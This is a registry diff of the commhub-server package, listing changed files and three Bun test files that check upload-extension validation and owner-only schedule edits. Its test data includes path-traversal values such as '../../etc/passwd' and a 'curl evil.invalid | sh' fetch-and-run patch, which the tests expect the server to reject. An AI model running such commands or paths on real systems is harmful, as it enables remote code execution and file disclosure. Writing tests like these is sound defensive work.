@sleep2agi/commhub-server 0.9.0-preview.7 → 0.9.0-preview.71
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +130 -10
- package/bin/commhub.ts +10 -2
- package/package.json +5 -5
- package/src/ack-create-request-transport.test.ts +159 -0
- package/src/ack-create-request.test.ts +331 -0
- package/src/admin-delete-network-http.test.ts +177 -0
- package/src/admin-networks-http.test.ts +88 -0
- package/src/agent-access.ts +461 -0
- package/src/agent-acl-groups-http.test.ts +247 -0
- package/src/agent-acl-http.test.ts +510 -0
- package/src/agent-acl-slice3-http.test.ts +267 -0
- package/src/agent-groups-perf.test.ts +167 -0
- package/src/alias-filter.test.ts +72 -0
- package/src/alias-filter.ts +32 -0
- package/src/api-host-supervisors-can-create-nodes.test.ts +350 -0
- package/src/api-host-supervisors-fallback.test.ts +271 -0
- package/src/api-nodes-shape.test.ts +26 -10
- package/src/auth-sessions-http.test.ts +250 -0
- package/src/auth-validate.test.ts +5 -1
- package/src/auth.ts +423 -29
- package/src/avatar-validate.test.ts +163 -0
- package/src/avatar-validate.ts +103 -0
- package/src/blocked-exit-on-reply.test.ts +122 -0
- package/src/boot-side-effect.test.ts +124 -0
- package/src/config-apply-sec1.test.ts +107 -0
- package/src/config-apply-validate.test.ts +92 -0
- package/src/config-apply-validate.ts +81 -3
- package/src/create-node-blocked-gate.test.ts +356 -0
- package/src/create-node-tool-schema.test.ts +39 -0
- package/src/create-node-validate.test.ts +89 -1
- package/src/create-node-validate.ts +89 -7
- package/src/create-node-workdir.test.ts +255 -0
- package/src/create-node.ts +51 -1
- package/src/dashboard-slash-routing-http.test.ts +107 -0
- package/src/db-adapter-guard.test.ts +85 -0
- package/src/db-adapter-translate.test.ts +112 -0
- package/src/db-adapter.ts +246 -83
- package/src/db-timestamp.test.ts +38 -0
- package/src/db-timestamp.ts +15 -0
- package/src/db.ts +799 -33
- package/src/delivered-without-push.test.ts +140 -0
- package/src/desktop-message-seam.test.ts +150 -0
- package/src/desktop-message.test.ts +368 -0
- package/src/ext-token-shared.test.ts +60 -0
- package/src/ext-validation-regression.test.ts +131 -0
- package/src/external-schedule-edits-http.test.ts +321 -0
- package/src/external-schedule-edits-timestamps.test.ts +64 -0
- package/src/external-schedule-edits.ts +327 -0
- package/src/file-download-authz-dev-open.test.ts +135 -0
- package/src/file-download-authz.test.ts +404 -0
- package/src/file-download-date-bucket.test.ts +436 -0
- package/src/file-network-scope-dev-open.test.ts +97 -0
- package/src/file-network-scope.test.ts +732 -0
- package/src/health-redaction.test.ts +642 -0
- package/src/http-gzip.test.ts +73 -0
- package/src/http-gzip.ts +60 -0
- package/src/hub-timestamp.test.ts +38 -0
- package/src/hub-timestamp.ts +27 -0
- package/src/human-dm.ts +149 -0
- package/src/inbox-count-sse.test.ts +310 -0
- package/src/inbox-count.ts +29 -0
- package/src/index.ts +15 -2331
- package/src/lifecycle-guard.ts +50 -0
- package/src/mcp-write-network-resolution.test.ts +429 -0
- package/src/messages-ack-by-agent-http.test.ts +142 -0
- package/src/network-name-http.test.ts +75 -0
- package/src/network-scope.ts +224 -0
- package/src/node-attrs-validate.ts +88 -0
- package/src/node-attrs.test.ts +217 -0
- package/src/node-create-request-status-http.test.ts +92 -0
- package/src/node-files-transport.test.ts +344 -0
- package/src/node-id-alias.test.ts +188 -0
- package/src/node-lifecycle-controllable.test.ts +64 -0
- package/src/node-lifecycle-controllable.ts +51 -0
- package/src/node-logs-transport.test.ts +263 -0
- package/src/node-request-retention.test.ts +281 -0
- package/src/node-request-retention.ts +120 -0
- package/src/node-skills-transport.test.ts +209 -0
- package/src/node-token-privilege-http.test.ts +149 -0
- package/src/observer-avatar-http.test.ts +429 -0
- package/src/observer-push.test.ts +252 -0
- package/src/package-version-consistency.test.ts +25 -0
- package/src/peer-reply-atomic.test.ts +455 -0
- package/src/peer-reply-capability.test.ts +70 -0
- package/src/pg-worker.ts +87 -0
- package/src/push.ts +204 -7
- package/src/redact-tokens.test.ts +65 -0
- package/src/redact-tokens.ts +40 -0
- package/src/rename.ts +7 -2
- package/src/reply-target-derivation.test.ts +96 -0
- package/src/report-status-host-schema.test.ts +211 -0
- package/src/report-status-resume-id-handover.test.ts +150 -0
- package/src/require-explicit-test-db.ts +9 -0
- package/src/requirement-tags.ts +16 -0
- package/src/requirements-etag-http.test.ts +91 -0
- package/src/requirements-http.test.ts +708 -0
- package/src/requirements-mcp.test.ts +142 -0
- package/src/requirements-migrate.ts +83 -0
- package/src/requirements-priority-lowest.test.ts +114 -0
- package/src/requirements-start-date.test.ts +125 -0
- package/src/requirements-upgrade-e2e.test.ts +126 -0
- package/src/requirements-upgrade-migration.test.ts +85 -0
- package/src/requirements.ts +899 -0
- package/src/resolve-port.test.ts +57 -0
- package/src/resolve-port.ts +44 -0
- package/src/response-charset.test.ts +130 -0
- package/src/rest-explicit-columns-http.test.ts +216 -0
- package/src/rest-identity.test.ts +129 -0
- package/src/rest-identity.ts +100 -0
- package/src/rest-projections.ts +68 -0
- package/src/rest-write-network-resolution.test.ts +133 -0
- package/src/restricted-files.ts +73 -0
- package/src/retention.ts +10 -1
- package/src/rules-file-duplicate-alias.test.ts +234 -0
- package/src/rules-file-session-target.test.ts +207 -0
- package/src/rules-file-transport.test.ts +237 -0
- package/src/runtime-label.test.ts +22 -0
- package/src/runtime-label.ts +21 -0
- package/src/scheduled-doorbell-nodeless-session.test.ts +130 -0
- package/src/scheduled-run-terminal.test.ts +268 -0
- package/src/scheduled-skip-blocking-task.test.ts +120 -0
- package/src/scheduled-tasks-http.test.ts +625 -0
- package/src/scheduled-tasks.ts +597 -0
- package/src/send-dedup-request-id.test.ts +229 -0
- package/src/send-reply-agent-warning.test.ts +202 -0
- package/src/send-reply-alias-optional.test.ts +131 -0
- package/src/send-reply-attachments.test.ts +458 -0
- package/src/send_dedup.test.ts +54 -0
- package/src/send_dedup.ts +52 -6
- package/src/serve-error.test.ts +38 -0
- package/src/serve-error.ts +27 -0
- package/src/server.ts +4385 -0
- package/src/shared/external-schedule-contract.ts +60 -0
- package/src/side-thread-command-transport.test.ts +302 -0
- package/src/side-thread-command-transport.ts +318 -0
- package/src/side-thread-http-integration.test.ts +233 -0
- package/src/side-thread-http.ts +504 -0
- package/src/side-thread-production.test.ts +72 -0
- package/src/side-thread-production.ts +118 -0
- package/src/side-thread.test.ts +1067 -0
- package/src/side-thread.ts +2495 -0
- package/src/skillhub-http.test.ts +92 -0
- package/src/start-node.test.ts +109 -0
- package/src/status-alias-filter-http.test.ts +106 -0
- package/src/stop-delete-node.test.ts +1164 -0
- package/src/task-auth-origin-http.test.ts +91 -0
- package/src/task-auth-origin.test.ts +24 -0
- package/src/task-auth-origin.ts +7 -0
- package/src/task-consumption.test.ts +482 -0
- package/src/task-diagnostic-http.test.ts +149 -0
- package/src/task-diagnostic.test.ts +115 -0
- package/src/task-diagnostic.ts +118 -0
- package/src/task-idempotency-mcp.test.ts +142 -0
- package/src/task-idempotency.test.ts +60 -0
- package/src/task-idempotency.ts +75 -0
- package/src/task-lifecycle-watcher.test.ts +204 -0
- package/src/task-lifecycle-watcher.ts +49 -0
- package/src/task-network-resolution-http.test.ts +141 -0
- package/src/tasks-pagination-http.test.ts +141 -0
- package/src/tools-list-json-schema.test.ts +66 -0
- package/src/tools.ts +3446 -257
- package/src/update-provider.test.ts +65 -0
- package/src/upload-early-reject-guard.test.ts +155 -0
- package/src/uploads-http.test.ts +97 -15
- package/src/uploads.test.ts +66 -0
- package/src/uploads.ts +130 -5
- package/src/user-inbox-by-agent-http.test.ts +161 -0
- package/src/user-inbox-netid-notnull.test.ts +122 -0
- package/src/user-inbox-read-http.test.ts +223 -0
- package/src/user-inbox-schema.test.ts +54 -0
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
import { describe, expect, test } from "bun:test";
|
|
2
|
+
import {
|
|
3
|
+
buildStoragePath,
|
|
4
|
+
pathForExistingBlob,
|
|
5
|
+
validateIndexEntry,
|
|
6
|
+
} from "./uploads.js";
|
|
7
|
+
|
|
8
|
+
const fileId = "0123456789abcdef0123456789abcdef";
|
|
9
|
+
const dateBucket = "2026-08-09";
|
|
10
|
+
const uploadsRoot = "/srv/uploads";
|
|
11
|
+
|
|
12
|
+
const malicious = [
|
|
13
|
+
"../x",
|
|
14
|
+
"/abs/x",
|
|
15
|
+
".png/../../y",
|
|
16
|
+
".p ng",
|
|
17
|
+
".p\0ng",
|
|
18
|
+
".\\..\\x",
|
|
19
|
+
"." + "a".repeat(17),
|
|
20
|
+
".tar.gz",
|
|
21
|
+
];
|
|
22
|
+
|
|
23
|
+
const legal = ["", ".png", ".PNG", ".mp4", "." + "a".repeat(16)];
|
|
24
|
+
|
|
25
|
+
describe("#527 shared extension-token invariant", () => {
|
|
26
|
+
test("new-upload path rejects every malformed token and accepts the shared legal set", () => {
|
|
27
|
+
for (const ext of malicious) {
|
|
28
|
+
expect(() => buildStoragePath(fileId, ext, { uploadsRoot })).toThrow(/ext .* is invalid/);
|
|
29
|
+
}
|
|
30
|
+
for (const ext of legal) {
|
|
31
|
+
expect(buildStoragePath(fileId, ext, { uploadsRoot }).ext).toBe(ext);
|
|
32
|
+
}
|
|
33
|
+
});
|
|
34
|
+
|
|
35
|
+
test("existing-blob path rejects every malformed token and accepts the shared legal set", () => {
|
|
36
|
+
for (const ext of malicious) {
|
|
37
|
+
expect(() => pathForExistingBlob(dateBucket, fileId, ext, { uploadsRoot })).toThrow(/ext .* is invalid/);
|
|
38
|
+
}
|
|
39
|
+
for (const ext of legal) {
|
|
40
|
+
expect(pathForExistingBlob(dateBucket, fileId, ext, { uploadsRoot }).ext).toBe(ext);
|
|
41
|
+
}
|
|
42
|
+
});
|
|
43
|
+
|
|
44
|
+
test("stored-index gate rejects every malformed token and accepts the shared legal set", () => {
|
|
45
|
+
for (const ext of malicious) {
|
|
46
|
+
expect(validateIndexEntry({ file_id: fileId, date_bucket: dateBucket, ext, size: 0 })).toBe(false);
|
|
47
|
+
}
|
|
48
|
+
for (const ext of legal) {
|
|
49
|
+
expect(validateIndexEntry({ file_id: fileId, date_bucket: dateBucket, ext, size: 0 })).toBe(true);
|
|
50
|
+
}
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
test("all three boundaries fail closed on non-string runtime values", () => {
|
|
54
|
+
for (const ext of [undefined, null, 7, {}, []]) {
|
|
55
|
+
expect(() => buildStoragePath(fileId, ext as never, { uploadsRoot })).toThrow(/ext .* is invalid/);
|
|
56
|
+
expect(() => pathForExistingBlob(dateBucket, fileId, ext as never, { uploadsRoot })).toThrow(/ext .* is invalid/);
|
|
57
|
+
expect(validateIndexEntry({ file_id: fileId, date_bucket: dateBucket, ext, size: 0 })).toBe(false);
|
|
58
|
+
}
|
|
59
|
+
});
|
|
60
|
+
});
|
|
@@ -0,0 +1,131 @@
|
|
|
1
|
+
// Task #25 — regression pins for ext validation in validateIndexEntry.
|
|
2
|
+
//
|
|
3
|
+
// 🔴 SCOPE: this suite exercises the stored-index boundary through
|
|
4
|
+
// `validateIndexEntry`. Issue #527 removed the three independent copies
|
|
5
|
+
// of the stored extension-token grammar: buildStoragePath,
|
|
6
|
+
// pathForExistingBlob and validateIndexEntry now use one shared private
|
|
7
|
+
// validator. `ext-token-shared.test.ts` separately pins all three call
|
|
8
|
+
// sites. sanitizeExt remains intentionally independent because it parses
|
|
9
|
+
// a client filename rather than validating an already-extracted token.
|
|
10
|
+
//
|
|
11
|
+
// Background (通信龙 d01bb8ce): the stored extension-token grammar
|
|
12
|
+
// `/^\.[A-Za-z0-9]{1,16}$/` correctly rejects 11 known malicious ext
|
|
13
|
+
// values (path-escape, traversal, absolute paths, doubles, NUL bytes,
|
|
14
|
+
// backslash forms, over-length, whitespace). Verified via real-run on
|
|
15
|
+
// origin/main by lead — 11/11 malicious values → false.
|
|
16
|
+
//
|
|
17
|
+
// But NO test locked that behavior. Anyone who widens the regex in the
|
|
18
|
+
// future (accidentally or on purpose) would not hit a red test — the
|
|
19
|
+
// live protection would degrade silently. This suite pins current
|
|
20
|
+
// behavior in two directions:
|
|
21
|
+
//
|
|
22
|
+
// 1. SAFETY (欠修 direction) — 11 malicious values → false, one row
|
|
23
|
+
// per value with the exact literal. If regex is widened to accept
|
|
24
|
+
// any of them, that row turns red.
|
|
25
|
+
// 2. NON-REGRESSION (过修 direction) — a set of common legitimate
|
|
26
|
+
// extensions → true. If regex is tightened to reject any of them
|
|
27
|
+
// (e.g. someone locks down to a whitelist), that row turns red.
|
|
28
|
+
//
|
|
29
|
+
// Witnessed-red for the SAFETY rows: temporarily widen the regex to
|
|
30
|
+
// `/./` (or comment it out) in validateIndexEntry, run this suite,
|
|
31
|
+
// confirm all 11 malicious rows turn red, then revert. The mutation
|
|
32
|
+
// itself is not committed; the assertion IS the mutation-red proof
|
|
33
|
+
// for the reader. Recording the mutation output in the followup PR
|
|
34
|
+
// body (per Constraint 3 discipline established in #503).
|
|
35
|
+
//
|
|
36
|
+
// Pure unit test — no server setup, no DB, no filesystem. The regex
|
|
37
|
+
// lives in a pure function, so the guard is testable at that level.
|
|
38
|
+
|
|
39
|
+
import { describe, expect, test } from "bun:test";
|
|
40
|
+
import { validateIndexEntry } from "./uploads.js";
|
|
41
|
+
|
|
42
|
+
// A structurally-valid base entry — file_id / date_bucket / size all
|
|
43
|
+
// pass their own checks — so `ext` is the only field a test row varies.
|
|
44
|
+
// This isolates the ext regex as the deciding factor.
|
|
45
|
+
const validBase = {
|
|
46
|
+
file_id: "0123456789abcdef0123456789abcdef",
|
|
47
|
+
date_bucket: "2026-07-30",
|
|
48
|
+
size: 0,
|
|
49
|
+
};
|
|
50
|
+
|
|
51
|
+
describe("Task #25 (#503 followup) — ext validation regression pins", () => {
|
|
52
|
+
describe("SAFETY: the 11 malicious ext values from lead d01bb8ce all return false", () => {
|
|
53
|
+
// Each row uses the exact literal from lead's verification list so
|
|
54
|
+
// a widening regex catches on the same value the manual audit did.
|
|
55
|
+
const malicious: Array<{ label: string; ext: string }> = [
|
|
56
|
+
{ label: "path-escape prefix", ext: "../x" },
|
|
57
|
+
{ label: "deep traversal to /etc", ext: "../../etc/passwd" },
|
|
58
|
+
{ label: "absolute path", ext: "/abs/x" },
|
|
59
|
+
{ label: "double-dot alone", ext: ".." },
|
|
60
|
+
{ label: "single-dot alone", ext: "." },
|
|
61
|
+
{ label: "chained after legit prefix", ext: ".png/../../y" },
|
|
62
|
+
{ label: "embedded whitespace", ext: ".p ng" },
|
|
63
|
+
{ label: "over-length (>16 chars)", ext: "." + "a".repeat(17) },
|
|
64
|
+
{ label: "embedded NUL byte", ext: ".p\x00ng" },
|
|
65
|
+
{ label: "backslash traversal", ext: ".\\..\\x" },
|
|
66
|
+
{ label: "double-backslash prefix", ext: "..\\x" },
|
|
67
|
+
];
|
|
68
|
+
for (const { label, ext } of malicious) {
|
|
69
|
+
test(`rejects: ${label} — ext=${JSON.stringify(ext)}`, () => {
|
|
70
|
+
expect(validateIndexEntry({ ...validBase, ext })).toBe(false);
|
|
71
|
+
});
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
test("precondition: 11 malicious cases enumerated (defends against silent test-shrink)", () => {
|
|
75
|
+
// If someone deletes rows from the malicious list, this fails
|
|
76
|
+
// instead of the deletion silently narrowing the guard. Number
|
|
77
|
+
// matches lead's verification list — bump only when lead adds a
|
|
78
|
+
// case and confirms it via real-run.
|
|
79
|
+
expect(malicious.length).toBe(11);
|
|
80
|
+
});
|
|
81
|
+
});
|
|
82
|
+
|
|
83
|
+
describe("NON-REGRESSION: common legitimate extensions all return true (防过修)", () => {
|
|
84
|
+
// These are the extensions the live upload path actually produces
|
|
85
|
+
// via sanitizeExt / mime-typed multipart uploads. If someone
|
|
86
|
+
// tightens the regex to a stricter whitelist, any of these turning
|
|
87
|
+
// red flags a break in a normal user path.
|
|
88
|
+
const legal = [".png", ".pdf", ".pptx", ".jpg", ".jpeg", ".txt", ".mp4", ".zip", ".json", ".md"];
|
|
89
|
+
for (const ext of legal) {
|
|
90
|
+
test(`accepts: ext=${JSON.stringify(ext)}`, () => {
|
|
91
|
+
expect(validateIndexEntry({ ...validBase, ext })).toBe(true);
|
|
92
|
+
});
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
test("empty ext is accepted (file with no extension is a legitimate upload)", () => {
|
|
96
|
+
expect(validateIndexEntry({ ...validBase, ext: "" })).toBe(true);
|
|
97
|
+
});
|
|
98
|
+
|
|
99
|
+
test("precondition: at least 10 legitimate ext values pinned", () => {
|
|
100
|
+
// Same discipline as the malicious side — reject silent shrink.
|
|
101
|
+
expect(legal.length).toBeGreaterThanOrEqual(10);
|
|
102
|
+
});
|
|
103
|
+
});
|
|
104
|
+
|
|
105
|
+
describe("regex shape assumptions (documented, not enforced by the function)", () => {
|
|
106
|
+
// These rows document facts the current regex enforces beyond the
|
|
107
|
+
// 11 malicious literals. They are close to the boundary and would
|
|
108
|
+
// be the first things to move if someone reworked the regex.
|
|
109
|
+
test("upper-case extensions accepted (regex is case-insensitive by [A-Za-z])", () => {
|
|
110
|
+
expect(validateIndexEntry({ ...validBase, ext: ".PNG" })).toBe(true);
|
|
111
|
+
});
|
|
112
|
+
test("mixed-case extensions accepted", () => {
|
|
113
|
+
expect(validateIndexEntry({ ...validBase, ext: ".PdF" })).toBe(true);
|
|
114
|
+
});
|
|
115
|
+
test("digits after dot accepted (e.g. .mp4, .mp3)", () => {
|
|
116
|
+
expect(validateIndexEntry({ ...validBase, ext: ".mp4" })).toBe(true);
|
|
117
|
+
});
|
|
118
|
+
test("exactly 16 chars after dot is accepted (upper bound of {1,16})", () => {
|
|
119
|
+
expect(validateIndexEntry({ ...validBase, ext: "." + "a".repeat(16) })).toBe(true);
|
|
120
|
+
});
|
|
121
|
+
test("exactly 17 chars after dot is rejected (immediately past upper bound)", () => {
|
|
122
|
+
expect(validateIndexEntry({ ...validBase, ext: "." + "a".repeat(17) })).toBe(false);
|
|
123
|
+
});
|
|
124
|
+
test("compound extensions like .tar.gz are rejected (contains inner dot)", () => {
|
|
125
|
+
// Documented: the current regex does not support compound
|
|
126
|
+
// extensions. If we ever want .tar.gz support, it needs its
|
|
127
|
+
// own explicit design + this row updated with lead sign-off.
|
|
128
|
+
expect(validateIndexEntry({ ...validBase, ext: ".tar.gz" })).toBe(false);
|
|
129
|
+
});
|
|
130
|
+
});
|
|
131
|
+
});
|
|
@@ -0,0 +1,321 @@
|
|
|
1
|
+
import { afterAll, beforeAll, describe, expect, test } from "bun:test";
|
|
2
|
+
import { mkdtempSync, rmSync } from "node:fs";
|
|
3
|
+
import { tmpdir } from "node:os";
|
|
4
|
+
import { join } from "node:path";
|
|
5
|
+
import { addNetworkMember, createNetworkTokenForNode, register } from "./auth.js";
|
|
6
|
+
import { db } from "./db.js";
|
|
7
|
+
import { upsertNodeWithSec1Guard } from "./tools.js";
|
|
8
|
+
|
|
9
|
+
const dir = mkdtempSync(join(tmpdir(), "anet-external-schedule-edits-"));
|
|
10
|
+
if (!process.env.COMMHUB_DB) throw new Error("test688 requires COMMHUB_DB before module import");
|
|
11
|
+
|
|
12
|
+
const stamp = `${process.pid}_${Date.now()}`;
|
|
13
|
+
const nodeId = `n_b4_${stamp}`;
|
|
14
|
+
const alias = `b4-node-${stamp}`;
|
|
15
|
+
const scheduleId = "managed-news-pull";
|
|
16
|
+
let server: any;
|
|
17
|
+
let base = "";
|
|
18
|
+
let networkId = "";
|
|
19
|
+
let adminToken = "";
|
|
20
|
+
let ownerToken = "";
|
|
21
|
+
let memberToken = "";
|
|
22
|
+
let nodeToken = "";
|
|
23
|
+
let foreignNodeToken = "";
|
|
24
|
+
let nodeTokenId = "";
|
|
25
|
+
let ownerId = "";
|
|
26
|
+
let memberId = "";
|
|
27
|
+
|
|
28
|
+
async function api(token: string, path: string, init?: RequestInit) {
|
|
29
|
+
const response = await fetch(`${base}${path}`, {
|
|
30
|
+
...init,
|
|
31
|
+
headers: { Authorization: `Bearer ${token}`, "Content-Type": "application/json", ...(init?.headers || {}) },
|
|
32
|
+
});
|
|
33
|
+
return { status: response.status, body: await response.json() as any };
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
function snapshot(revision: number, extra: Record<string, unknown> = {}) {
|
|
37
|
+
return JSON.stringify({
|
|
38
|
+
observed_at: new Date().toISOString(),
|
|
39
|
+
schedules: [{
|
|
40
|
+
id: scheduleId,
|
|
41
|
+
name: "Pull X news",
|
|
42
|
+
kind: "cron",
|
|
43
|
+
frequency: "0 */6 * * *",
|
|
44
|
+
status: "active",
|
|
45
|
+
enabled: true,
|
|
46
|
+
editable: true,
|
|
47
|
+
revision,
|
|
48
|
+
log_ref: "grok-news.log",
|
|
49
|
+
...extra,
|
|
50
|
+
}],
|
|
51
|
+
});
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
// 30s 而不是 bun 默认的 5s:这个 hook 跑 register()(KDF)+bootServer(),
|
|
55
|
+
// 本机空载基线 ~620ms,而 2026-08-17 与 2026-08-31 两次 CI 上它被 5s 上限打死
|
|
56
|
+
// (0 pass / 1 fail / Ran 1 test —— 见 #928、#1627)。5247ms 是**被截断的下界**,
|
|
57
|
+
// 不是测量值,所以余量按基线的 ~48x 取,而不是按那个数取。
|
|
58
|
+
beforeAll(async () => {
|
|
59
|
+
const admin = register(`b4_admin_${stamp}`, "B4Admin123!", undefined, "B4 Admin");
|
|
60
|
+
const owner = register(`b4_owner_${stamp}`, "B4Owner123!", undefined, "B4 Owner");
|
|
61
|
+
const member = register(`b4_member_${stamp}`, "B4Member123!", undefined, "B4 Member");
|
|
62
|
+
expect(admin.ok && owner.ok && member.ok).toBe(true);
|
|
63
|
+
adminToken = admin.token!;
|
|
64
|
+
ownerToken = owner.token!;
|
|
65
|
+
memberToken = member.token!;
|
|
66
|
+
networkId = admin.network_id!;
|
|
67
|
+
const adminId = admin.user!.user_id;
|
|
68
|
+
ownerId = owner.user!.user_id;
|
|
69
|
+
memberId = member.user!.user_id;
|
|
70
|
+
// 多用户 Agent 权限:新成员默认只看授权 Agent;本测试测的是「完全信任的成员」旧语义,显式 agent_access=all。
|
|
71
|
+
expect(addNetworkMember(networkId, ownerId, "member", adminId, { agentAccess: "all" }).ok).toBe(true);
|
|
72
|
+
expect(addNetworkMember(networkId, memberId, "member", adminId, { agentAccess: "all" }).ok).toBe(true);
|
|
73
|
+
|
|
74
|
+
const minted = createNetworkTokenForNode(ownerId, networkId, alias, nodeId);
|
|
75
|
+
expect(minted.ok).toBe(true);
|
|
76
|
+
nodeToken = minted.token!;
|
|
77
|
+
nodeTokenId = minted.token_id!;
|
|
78
|
+
const foreign = createNetworkTokenForNode(memberId, networkId, `foreign-${alias}`, `n_foreign_${stamp}`);
|
|
79
|
+
expect(foreign.ok).toBe(true);
|
|
80
|
+
foreignNodeToken = foreign.token!;
|
|
81
|
+
|
|
82
|
+
db.run(
|
|
83
|
+
`INSERT INTO sessions (resume_id, alias, status, node_id, network_id, external_schedules, updated_at)
|
|
84
|
+
VALUES (?1, ?2, 'idle', ?3, ?4, ?5, datetime('now'))`,
|
|
85
|
+
[`r_b4_${stamp}`, alias, nodeId, networkId, snapshot(7)],
|
|
86
|
+
);
|
|
87
|
+
|
|
88
|
+
const mod: any = await import("./server.js");
|
|
89
|
+
server = mod.bootServer({ port: 0, hostname: "127.0.0.1" });
|
|
90
|
+
base = `http://127.0.0.1:${server.port}`;
|
|
91
|
+
}, 30_000);
|
|
92
|
+
|
|
93
|
+
afterAll(() => {
|
|
94
|
+
try { server?.stop?.(true); } catch {}
|
|
95
|
+
try { rmSync(dir, { recursive: true, force: true }); } catch {}
|
|
96
|
+
});
|
|
97
|
+
|
|
98
|
+
describe("RFC-036 exact-owner external schedule edit intents", () => {
|
|
99
|
+
test("ownership is pinned at node-token mint and cannot be stolen", () => {
|
|
100
|
+
const node = db.get<any>("SELECT owner_user_id, network_id FROM nodes WHERE node_id = ?1", nodeId)!;
|
|
101
|
+
expect(node.owner_user_id).toBe(ownerId);
|
|
102
|
+
expect(node.network_id).toBe(networkId);
|
|
103
|
+
const ownerAudit = db.get<any>("SELECT detail FROM audit_log WHERE action = 'external_schedule.owner_claimed' AND target_id = ?1", nodeId)!;
|
|
104
|
+
expect(ownerAudit).toBeTruthy();
|
|
105
|
+
expect(JSON.parse(ownerAudit.detail)).toEqual({ node_id: nodeId, network_id: networkId });
|
|
106
|
+
const theft = createNetworkTokenForNode(memberId, networkId, alias, nodeId);
|
|
107
|
+
expect(theft).toEqual({ ok: false, error: "node_owner_mismatch" });
|
|
108
|
+
|
|
109
|
+
const legacy = createNetworkTokenForNode(ownerId, networkId, `${alias}-legacy`);
|
|
110
|
+
expect(legacy.ok).toBe(true);
|
|
111
|
+
expect(db.get<any>("SELECT bound_node_id FROM api_tokens WHERE token_id = ?1", legacy.token_id!)!.bound_node_id).toBeNull();
|
|
112
|
+
});
|
|
113
|
+
|
|
114
|
+
test("the real node-token HTTP endpoint requires and persists the immutable node binding", async () => {
|
|
115
|
+
const httpNodeId = `n_b4_http_${stamp}`;
|
|
116
|
+
const minted = await api(ownerToken, "/api/auth/node-token", {
|
|
117
|
+
method: "POST",
|
|
118
|
+
body: JSON.stringify({ network_id: networkId, node_name: `${alias}-http`, node_id: httpNodeId }),
|
|
119
|
+
});
|
|
120
|
+
expect(minted.status).toBe(200);
|
|
121
|
+
expect(minted.body.node_id).toBe(httpNodeId);
|
|
122
|
+
expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", httpNodeId)!.owner_user_id).toBe(ownerId);
|
|
123
|
+
const resolved = db.get<any>("SELECT bound_node_id FROM api_tokens WHERE token_id = ?1", minted.body.token_id)!;
|
|
124
|
+
expect(resolved.bound_node_id).toBe(httpNodeId);
|
|
125
|
+
});
|
|
126
|
+
|
|
127
|
+
test("report_status verifies an owner binding but never first-claims a legacy node", () => {
|
|
128
|
+
expect(upsertNodeWithSec1Guard({
|
|
129
|
+
node_id: nodeId,
|
|
130
|
+
callerNetworkId: networkId,
|
|
131
|
+
callerUserId: ownerId,
|
|
132
|
+
callerTokenId: nodeTokenId,
|
|
133
|
+
alias,
|
|
134
|
+
runtime: "codex-app-server",
|
|
135
|
+
}).result).toBe("updated");
|
|
136
|
+
const wrongOwner = upsertNodeWithSec1Guard({
|
|
137
|
+
node_id: nodeId,
|
|
138
|
+
callerNetworkId: networkId,
|
|
139
|
+
callerUserId: memberId,
|
|
140
|
+
callerTokenId: nodeTokenId,
|
|
141
|
+
alias,
|
|
142
|
+
});
|
|
143
|
+
expect(wrongOwner).toMatchObject({ result: "refused", reason: "owner_mismatch" });
|
|
144
|
+
|
|
145
|
+
const legacyNodeId = `n_b4_legacy_${stamp}`;
|
|
146
|
+
db.run(
|
|
147
|
+
"INSERT INTO nodes (node_id, node_name, alias, network_id) VALUES (?1, ?2, ?2, ?3)",
|
|
148
|
+
[legacyNodeId, `${alias}-legacy`, networkId],
|
|
149
|
+
);
|
|
150
|
+
expect(upsertNodeWithSec1Guard({
|
|
151
|
+
node_id: legacyNodeId,
|
|
152
|
+
callerNetworkId: networkId,
|
|
153
|
+
callerUserId: ownerId,
|
|
154
|
+
alias: `${alias}-legacy`,
|
|
155
|
+
runtime: "claude-code-cli",
|
|
156
|
+
}).result).toBe("updated");
|
|
157
|
+
expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", legacyNodeId)!.owner_user_id).toBeNull();
|
|
158
|
+
const legacyClaim = createNetworkTokenForNode(ownerId, networkId, `${alias}-legacy`, legacyNodeId);
|
|
159
|
+
expect(legacyClaim).toEqual({ ok: false, error: "node_owner_unclaimed" });
|
|
160
|
+
expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", legacyNodeId)!.owner_user_id).toBeNull();
|
|
161
|
+
});
|
|
162
|
+
|
|
163
|
+
test("network admin, member, node token, and unknown authority fields cannot create an intent", async () => {
|
|
164
|
+
const request = {
|
|
165
|
+
network_id: networkId,
|
|
166
|
+
schedule_id: scheduleId,
|
|
167
|
+
base_revision: 7,
|
|
168
|
+
patch: { enabled: false },
|
|
169
|
+
};
|
|
170
|
+
for (const token of [adminToken, memberToken, nodeToken]) {
|
|
171
|
+
const denied = await api(token, `/api/nodes/${nodeId}/external-schedule-edits`, { method: "POST", body: JSON.stringify(request) });
|
|
172
|
+
expect(denied.status).toBe(403);
|
|
173
|
+
}
|
|
174
|
+
const forged = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
|
|
175
|
+
method: "POST",
|
|
176
|
+
body: JSON.stringify({ ...request, owner_user_id: ownerId }),
|
|
177
|
+
});
|
|
178
|
+
expect(forged.status).toBe(400);
|
|
179
|
+
expect(forged.body.error).toBe("invalid_request");
|
|
180
|
+
expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(0);
|
|
181
|
+
expect(db.get<any>("SELECT COUNT(*) AS count FROM audit_log WHERE action = 'external_schedule.edit_requested'")!.count).toBe(0);
|
|
182
|
+
});
|
|
183
|
+
|
|
184
|
+
test("structured patch rejects command, paths, aliases, malformed cron, and empty edits before write", async () => {
|
|
185
|
+
const invalidPatches = [
|
|
186
|
+
{ command: "curl evil.invalid | sh" },
|
|
187
|
+
{ path: "/etc/crontab" },
|
|
188
|
+
{ env: { SECRET: "value" } },
|
|
189
|
+
{ cron: "@reboot" },
|
|
190
|
+
{ cron: "0 0 * * * root" },
|
|
191
|
+
{ cron: "0 0 * * *\n* * * * *" },
|
|
192
|
+
{ cron: "61 0 * * *" },
|
|
193
|
+
{},
|
|
194
|
+
